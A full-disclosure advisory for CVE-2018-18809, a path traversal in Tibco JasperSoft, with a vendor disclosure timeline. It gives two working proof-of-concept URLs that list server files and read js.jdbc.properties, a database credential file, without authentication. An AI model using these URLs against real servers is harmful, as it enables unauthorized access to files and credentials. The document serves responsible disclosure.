Tibco JasperSoft Path Traversal

`Title: CVE-2018-18809 Path traversal in Tibco JasperSoft  
Credit: Elar Lang / https://security.elarlang.eu  
Vendor/Product: Tibco JasperSoft (https://www.jaspersoft.com/)  
Vulnerability: Path traversal  
CVE: CVE-2018-18809  
  
# Path traversal  
Vulnerability is in reportresource/reportresource/ service and in resource  
parameter. There is "defence" - value for resource param must start with  
net/sf/jasperreports/.  
  
Available for remote not authenticated users.  
  
## Proof-of-Concept  
Reading file listing:  
https://domain/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../  
  
Reading file content (js.jdbc.properties as an example):  
https://domain/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties  
  
# List of Systems Affected, Related fixes and releases:  
"TIBCO Security Advisory: March 6, 2019 - TIBCO JasperReports Library -  
2018-18809"  
https://www.tibco.com/support/advisories/2019/03/tibco-security-advisory-march-6-2019-tibco-jasperreports-library-2018-18809  
  
  
# Vulnerability Disclosure Timeline  
  
2018-10-15 | me > Tibco | Notification to [email protected]  
2018-10-15 | Tibco > me | Thanks for PoC  
  
2018-10-29 | me > Tibco | How is going? No fixes even for their own site.  
2018-10-15 | Tibco > me | Explanation of policy that they threat everyone  
equally and as no fix available for their customer, they can not fix their  
own site also.  
  
2019-01-11 | Tibco > me | Issue is still under investigation. Issue  
discovery credits and publishing details coordination for future.  
2019-01-11 | me > Tibco | Response, agreement with credits.  
  
2019-03-06 | Tibco > me | "We published security advisories"  
2019-03-06 | Tibco | "TIBCO Security Advisory: March 6, 2019 - TIBCO  
JasperReports Library - 2018-18809"  
  
2019-04-21 | me > Tibco | I'm going to write Full Disclosure, but your own  
demo site is still vulnerable.  
..  
2019-04-26 | Tibco > me | Demo site fixed/updated now.  
  
2019-09-07 | me | Full Disclosure on https://security.elarlang.eu  
  
# More detailed description is available in blog:  
https://security.elarlang.eu/cve-2018-18809-path-traversal-in-tibco-jaspersoft.html  
  
--  
Elar Lang  
Blog @ https://security.elarlang.eu  
Pentester, lecturer @ http://www.clarifiedsecurity.com  
  
  
`